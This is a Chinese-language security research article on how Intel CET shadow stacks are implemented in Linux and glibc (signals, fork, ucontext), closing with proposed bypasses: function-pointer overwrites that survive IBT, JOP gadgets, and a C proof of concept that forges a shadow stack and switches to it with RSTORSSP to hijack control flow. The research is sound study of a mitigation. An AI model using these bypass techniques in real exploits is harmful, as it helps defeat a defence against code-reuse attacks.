0x00 TL;DR 上一篇文章中已经简单介绍过了CET的基本原理和实际应用的一些技术,站在防守方的视角下,CET确实是一个能比较有效防御ROP攻击技术的措施。那么在攻击者的视角来看,研究清楚CET的技术细节,进而判断CET是否是一个完美的防御方案,还是存在一定的局限性,则是攻击方的重中之重。
本文由浅入深地讲述CET的实现细节,最后提出几个理论可行的绕过方案,供研究者参考。
0x01 Shadow Stack Overview 上一篇文章已经大概对CET做了个基本概念介绍,所以就不重复,直接说重点。
Shadow Stack PTE Shadow Stack本质上是块内存页,属于新增的页类型,因此需要增加一个新的页属性来标识Shadow Stack。PTE中的一些位有被CPU定义的,也有保留给操作系统使用的,例如第0位的Present就由CPU标识页是否分配。Linux操作系统没有将所有保留位都使用掉(用于别的用途),但是其他操作系统则没有剩余可用的保留位了,因此从Linux中取一个未使用的位,不太可取。
这里Linux采用了复用很少使用的页状态(写时复制的状态):write=0, dirty=1。当Linux需要创建写时复制write=0, dirty=1的页时,用软件定义的_PAGE_COW代替_PAGE_DIRTY,创建shadow stack时,则使用write=0, dirty=1。这就将两者区分开来了:
1 2 3 4 5 6 7 8 9 10 11 #define _PAGE_BIT_SOFTW5 58 #ifdef CONFIG_X86_SHADOW_STACK #define _PAGE_BIT_COW _PAGE_BIT_SOFTW5 #endif #ifdef CONFIG_X86_SHADOW_STACK #define _PAGE_COW (_AT(pteval_t, 1) << _PAGE_BIT_COW) #endif #define _PAGE_DIRTY_BITS (_PAGE_DIRTY | _PAGE_COW)
Shadow Stack Management Instructions 为了保证shadow stack的独特性,CET专门设计了独有的汇编指令。普通的指令(MOV, XSAVE…)将不被允许操作shadow stack。
1 2 3 4 5 RDSSP #读取shadow stack指针 INCSSP #shadow stack指针加1 SAVEPREVSSP #保存先前shadow stack指针 RSTORSSP #恢复保存的shadow stack指针 ...
这里重点说SAVEPREVSSP、RSTORSSP。Linux环境下,会存在栈切换的情况(系统调用、信号处理…),为了保证shadow stack的正常运作,数据栈切换后shadow stack也需要相应切换,因此就会用到这两个指令。
下图为执行RSTORSSP指令前后的shadow stack状态变化。执行的操作为先将SSP指针指向new shadow stack的‘restore token’,即0x4000。然后用current(old) shadow stack的地址做‘new restore token’替换掉‘restore token’,用于后续的SAVEPREVSSP指令使用。
下图为执行SAVEPREVSSP指令前后的变化。执行的操作为将前面设置的‘new restore token’压入previous shadow stack中,并将标志位置0。然后将SSP指针加1。
至此,就完成了shadow stack切换的整个过程。
0x02 Shadow Stack Implementation 这里不提及Shadow Stack的普遍情况(见上一篇文章),只研究Shadow Stack在一些特殊场景下的实现,在这些场景中光申请Shadow Stack页后做push/pop操作是不够的,往往需要更复杂的实现。
Signal 一般用户需要对某个信号做自定义的特殊处理时,就会用到信号。
对应的函数为signal()、sigaction():
1 2 3 4 5 6 7 #include <signal.h> typedef void (*sighandler_t ) (int ) ;sighandler_t signal(int signum, sighandler_t handler);int sigaction (int signum, const struct sigaction *restrict act, struct sigaction *restrict oldact) ;
当捕获信号到执行信号处理函数再到恢复正常执行的整个过程中,会经历进程挂起、Ring0和Ring3间的切换、上下文切换等操作,这都需要shadow stack作出相应的变化,否则就会出现不可知的异常。下图是信号处理期间进程的变化。
以signal函数举例,在glibc中它的具体实现为下面所示,最终会调用rt_sigaction去注册信号。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __libc_sigaction (int sig, const struct sigaction *act, struct sigaction *oact) { int result; struct kernel_sigaction kact , koact ; if (act) { kact.k_sa_handler = act->sa_handler; SET_SA_RESTORER (&kact, act); } result = INLINE_SYSCALL_CALL (rt_sigaction, sig, act ? &kact : NULL , oact ? &koact : NULL , STUB (act, _NSIG / 8 )); return result; }
再看CET的实现,它在__setup_rt_frame
函数中添加了shadow stack相关的操作函数,__setup_rt_frame
函数会在信号处理过程中被调用,即上面信号处理期间进程变化的图中②的期间:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static int __setup_rt_frame(int sig, struct ksignal *ksig, sigset_t *set , struct pt_regs *regs) { if (setup_signal_shadow_stack(0 , ksig->ka.sa.sa_restorer)) return -EFAULT; } int setup_signal_shadow_stack (int ia32, void __user *restorer) { unsigned long new_ssp; int err; err = shstk_setup_rstor_token(ia32, (unsigned long )restorer, &new_ssp); err = wrmsrl_safe(MSR_IA32_PL3_SSP, new_ssp); return err; }
上面新增的setup_signal_shadow_stack
函数,参数restorer即为前面__libc_sigaction
函数中提到的__NR_rt_sigreturn
系统调用,且该参数后续会被push到shadow stack中去作为新的函数返回地址。
相应地,再看__NR_rt_sigreturn
系统调用的实现,该调用会在上面信号处理期间进程变化的图中④执行,CET也在该处做了相应的改动:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 SYSCALL_DEFINE0(rt_sigreturn) { struct pt_regs *regs = current_pt_regs (); struct rt_sigframe __user *frame ; sigset_t set ; unsigned long uc_flags; if (restore_signal_shadow_stack()) goto badframe; badframe: signal_fault(regs, frame, "rt_sigreturn" ); return 0 ; } int restore_signal_shadow_stack (void ) { struct thread_shstk *shstk = ¤t ->thread .shstk ; int ia32 = in_ia32_syscall(); unsigned long new_ssp; int err; err = shstk_check_rstor_token(ia32, &new_ssp); err = wrmsrl_safe(MSR_IA32_PL3_SSP, new_ssp); return err; }
从上面rt_sigreturn
新增代码结合__setup_rt_frame
新增代码可知,两者是相互配合的:一个负责创建restore token并在shadow stack设置返回地址,另一个则负责校验restore token并设置新的ssp,以此来兼容在信号处理过程中数据栈切换、上下文切换的场景。
至于为什么要在创建restore token后设置shadow stack返回地址,是因为在信号处理过程中执行完sa_handler用户自定义函数后,紧接着就会执行sa_restorer所设置的函数,因此在CET场景下需要在shadow stack设置相应的返回地址。
Fork 调用fork后,存在两种情况:
子进程和父进程分别有自己的一块内存,不共享
子进程和父进程共享同一块内存,为vfork
因此,在shadow stack场景下,需要对fork系统调用做特殊处理。
fork调用链如下:
1 2 3 4 SYSCALL_DEFINE0(fork)/SYSCALL_DEFINE0(vfork) -> pid_t kernel_clone() -> struct task_struct *copy_process () -> int copy_thread()
CET在copy_thread函数中添加了相关代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 int copy_thread (unsigned long clone_flags, unsigned long sp, unsigned long stack_size, struct task_struct *p, unsigned long tls) { int ret = 0 ; if (!ret) ret = shstk_alloc_thread_stack(p, clone_flags, stack_size); return ret; } int shstk_alloc_thread_stack (struct task_struct *tsk, unsigned long clone_flags, unsigned long stack_size) { struct thread_shstk *shstk = &tsk ->thread .shstk ; unsigned long addr; if ((clone_flags & (CLONE_VFORK | CLONE_VM)) != CLONE_VM) return 0 ; stack_size = round_up(stack_size, PAGE_SIZE); addr = alloc_shstk(stack_size); shstk->base = addr; shstk->size = stack_size; return 0 ; }
从上面新增的代码可知,CET针对fork系统调用过程增加了创建新的shadow stack的部分,以兼容fork后父子进程不共享内存的情况。同时也对vfork后父子进程共享内存的情况做了处理,使得不创建新的shadow stack以兼容相应场景。
Ucontext ucontext涉及到协程相关的技术,该技术和系统调用在R3、R0间的切换比较类似。但是该技术作用于用户态,目的是给用户态程序提供更快的切换效果,以及使得用户态的代码能够更加灵活。在用户态层面实现上下文切换。
常用的函数为getcontext/setcontext:
1 2 3 4 #include <ucontext.h> int getcontext (ucontext_t *ucp) ;int setcontext (const ucontext_t *ucp) ;
setjmp/longjmp的技术原理和实现和ucontext类似,就不提及了。getcontext/setcontext具体实现都在glibc 中。
ucontext协程技术涉及到上下文切换的场景,也会存在数据栈切换的情况,因此,shadow stack也需要做出相应的动作。
先看shadow stack在getcontext中的改动,先用__NR_arch_prctl
系统调用获取当前shadow stack的基地址,其次将其保存在SSP_BASE_OFFSET寄存器中,随后保存shadow stack基地址、ssp值在ucontext结构体中,供后续setcontext使用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #if SHSTK_ENABLED /* 检查shadow stack是否enabled. */ testl $X86_FEATURE_1_SHSTK, %fs:FEATURE_1_OFFSET jz L(no_shstk) movq %rdi, %rdx xorl %eax, %eax cmpq %fs:SSP_BASE_OFFSET, %rax jnz L(shadow_stack_bound_recorded) /* 获取当前shadow stack的基地址和栈大小 */ sub $24, %RSP_LP mov %RSP_LP, %RSI_LP movl $ARCH_CET_STATUS, %edi movl $__NR_arch_prctl, %eax syscall testq %rax, %rax jz L(continue_no_err) hlt L(continue_no_err): /* 赋值寄存器SSP_BASE_OFFSET,保存着当前shadow stack基地址 */ movq 8(%rsp), %rax movq %rax, %fs:SSP_BASE_OFFSET add $24, %RSP_LP movq %rdx, %rdi L(shadow_stack_bound_recorded): rdsspq %rax addq $8, %rax movq %rax, oSSP(%rdx) /* 保存ssp+8在ucontext结构体中 */ movq %fs:SSP_BASE_OFFSET, %rax movq %rax, (oSSP + 8)(%rdi) /* 保存shadow stack基地址 */ #endif
再来看setcontext中的改动,校验getcontext保存的ucontext中的shadow stack基地址和ssp,再恢复,达到切换回上文状态的目的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #if SHSTK_ENABLED /* 检查shadow stack是否enabled. */ testl $X86_FEATURE_1_SHSTK, %fs:FEATURE_1_OFFSET jz L(no_shstk) movq oSSP(%rdx), %rsi /* 获取ssp+8 */ movq %rsi, %rdi movq (oSSP + 8)(%rdx), %rcx /* 获取shadow stack基地址 */ cmpq %fs:SSP_BASE_OFFSET, %rcx /* 对比是否和当前shadow stack基地址相同 */ je L(unwind_shadow_stack) L(unwind_shadow_stack): /* ssp递增到前面getcontext的位置,相当于恢复到getcontext时候的ssp状态 */ rdsspq %rcx subq %rdi, %rcx je L(skip_unwind_shadow_stack) negq %rcx shrq $3, %rcx movl $255, %esi L(loop): cmpq %rsi, %rcx cmovb %rcx, %rsi incsspq %rsi subq %rsi, %rcx ja L(loop) L(skip_unwind_shadow_stack): movq oRSI(%rdx), %rsi movq oRDI(%rdx), %rdi movq oRCX(%rdx), %rcx movq oR8(%rdx), %r8 movq oR9(%rdx), %r9 /* 获取getcontext保存的返回地址,RIP */ movq oRIP(%rdx), %r10 movq oRDX(%rdx), %rdx /* 检查返回地址是否有效(即shadow stack中是否存在) */ rdsspq %rax cmpq (%rax), %r10 movl $0, %eax /* 返回地址有效则ret过去 */ pushq %r10 ret #endif
上面getcontext/setcontext的场景,是在同一块shadow stack中实现切换,因为进程并没有创建新的数据栈。此外,makecontext会创建一个新的数据栈,开辟一个新的上下文,和上面的场景又有些许不同,makecontext和setcontext也都做了相应的改动,由于篇幅原因不过多叙述,读者自行阅读源码即可,技术原理都是一样的。
0x03 CET Bypass CET在多场景下的实现还是相对复杂的,需要软件层面做相应的配合,因此在复杂的设计实现层面,是否有可能存在绕过CET的可能性呢?本小节提出几个理论可行的方案供研究者参考。
Overwrite Function 该方法比较简单粗暴,篡改结构体中的函数指针来控制执行流。假设现有如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <stdio.h> typedef struct str { int num; void (*test)(void ); }str; void test_func () { printf ("hello\n" ); } void over_write () { printf ("over write success\n" ); } int main () { str str1; str1.test = test_func; str1.test(); str1.test = over_write; str1.test(); return 0 ; }
调用结构体函数(1)处的汇编代码如下:
1 2 mov rax, qword ptr [rbp - 8] call rax
此时有间接call,IBT机制会起作用,call rax后一条指令必须为ENDBR64。
如果此时拥有任意读写的能力,就可以篡改结构体str1的test函数指针为over_write(2)即可改变执行流。且此时over_write函数的入口点也是ENDBR64,即可绕过IBT的检查:
1 2 3 4 5 6 7 8 ► 0x40050b <over_write> endbr64 0x40050f <over_write+4> push rbp 0x400510 <over_write+5> mov rbp, rsp 0x400513 <over_write+8> mov edi, 0x4005da 0x400518 <over_write+13> call puts@plt <puts@plt> 0x40051d <over_write+18> nop 0x40051e <over_write+19> pop rbp 0x40051f <over_write+20> ret
IBT机制会给绝大部分函数体的入口点添加ENDBR指令,因此这种方法还是可行的,实际测试:
扩展一下,还可以利用JOP去做。例如使用以下序列,也可以绕过CET:
1 2 3 4 5 6 7 8 9 10 [1]: endbr64 mov rax, rdi jmp [rsp+8] [2]: endbr64 jmp rax #...
但是这种JOP序列实际上是比较稀少的,难找到。
Migrate Shadow Stack by RSTORSSP 这种方案利用了CET新增的指令来做文章。前面已经介绍过了RSTORSSP,用于shadow stack的切换,那么如果切换到的是攻击者伪造的shadow stack呢?
整个过程比较简单,步骤如下:
构造一块可控内存
在可控内存中事先构造好返回地址,后续作为shadow stack使用
将内存转变为shadow stack
构造ROP
ROP利用rstorssp将原shadow stack迁移到伪造的shadow stack中
ROP执行system
CET针对mmap和mprotect都做了相应的改动,在mmap中主要增加了一个VMA_FLAG为VM_SHADOW_STACK的属性,在mprotect中除了PROT_READ/PROT_WRITE外增加了PROT_SHADOW_STACK(有一点是PROT_WRITE和PROT_SHADOW_STACK不能同时使用,即只读),这两者是互相对应的关系。
简单编写了这种方案的demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <asm/prctl.h> /* Definition of ARCH_* constants */ #include <sys/syscall.h> /* Definition of SYS_* constants */ #include <unistd.h> #include <sys/mman.h> #include <x86intrin.h> #define ARCH_X86_CET_STATUS 0x3001 #define PROT_SHSTK 0x10 #define SHSTK_SIZE 0x1000 void test_func () { printf ("new shstk area works ok!\n" ); exit (0 ); return ; } int main () { uint64_t buf[3 ] = {0 }; syscall(SYS_arch_prctl, ARCH_X86_CET_STATUS, buf); printf ("origin shstk area: 0x%llx, size: 0x%x\n" , buf[1 ], buf[2 ]); void *new_shstk = mmap(0 , SHSTK_SIZE, PROT_READ | PROT_WRITE, (MAP_PRIVATE | MAP_ANONYMOUS), 0 , 0 ); printf ("new shstk area: 0x%llp, size: 0x%x\n" , new_shstk, SHSTK_SIZE); *((uint64_t *)((uint64_t )new_shstk + SHSTK_SIZE - 0x40 )) = ((uint64_t )new_shstk + SHSTK_SIZE - 0x38 ) | 1 ; *((uint64_t *)((uint64_t )new_shstk + SHSTK_SIZE - 0x38 )) = 0x41414141 ; mprotect(new_shstk, SHSTK_SIZE, PROT_READ | PROT_SHSTK); uint64_t rstor_val = (uint64_t )new_shstk + SHSTK_SIZE - 0x40 ; uint64_t old_ssp = _get_ssp(); printf ("origin ssp: 0x%llx\n" , old_ssp); asm volatile("rstorssp (%0)\n":: "r" (rstor_val)); uint64_t new_ssp = _get_ssp(); printf ("new ssp: 0x%llx\n" , new_ssp); _inc_ssp(1 ); buf[9 ] = 0x41414141 ; return 0 ; }
调试效果如下,可见当前已经将shadow stack切换到事先伪造的内存页中,且返回地址也篡改得和数据栈返回地址相同,为0x41414141:
最终,RIP也能成功执行到控制的执行流:
不过这种方法在实际场景中构造的要求比较高,局限性比较大。
当然了,还有更粗暴的方法,CET新增指令还有一个WRSS的指令,该指令可以直接在shadow stack中写数据。但是该指令需要在CPU上做使能操作,目前笔者阅读的源码暂时还没有使能,就不赘述了。
0x04 Summary CET与以往软件实现的CFI不同,它从硬件侧寻找解决方案,在底层就将ROP掐断,对于软件CFI来说从性能、缓解效果角度来说都有着极大的提升。有得必有失,底层的变动必然会撬动上层随之变化,想要将这一缓解措施真正实施落地,还有着很长的一段路要走。笔者略浅地研究了一番CET当前的实施进展,提出了部分攻防方向上的想法,供后续研究者参考。我相信在不远的将来,CET的落地会给攻防带来很大的变化,到时候又将摩擦出怎样的火花呢?让我们一起期待吧。
0x05 Reference
https://github.com/yyu168/linux_cet/commit/72367656271aba4d29a25b38232e680ab9231a26
https://ty-chen.github.io/linux-kernel-signal/
https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/sigaction.c.html#__libc_sigaction
https://man7.org/linux/man-pages/man2/signal.2.html
https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/x86_64/getcontext.S.html#137
https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/x86_64/setcontext.S.html#197
https://man7.org/linux/man-pages/man3/getcontext.3.html
https://lore.kernel.org/lkml/776fb081217145f4a488f7bca3e16eab@AcuMS.aculab.com/
https://github.com/hjl-tools/linux/commit/280503098ea762b3100edb30d60489a030d4abca
https://www.twblogs.net/a/5b7e1dd92b71776838556498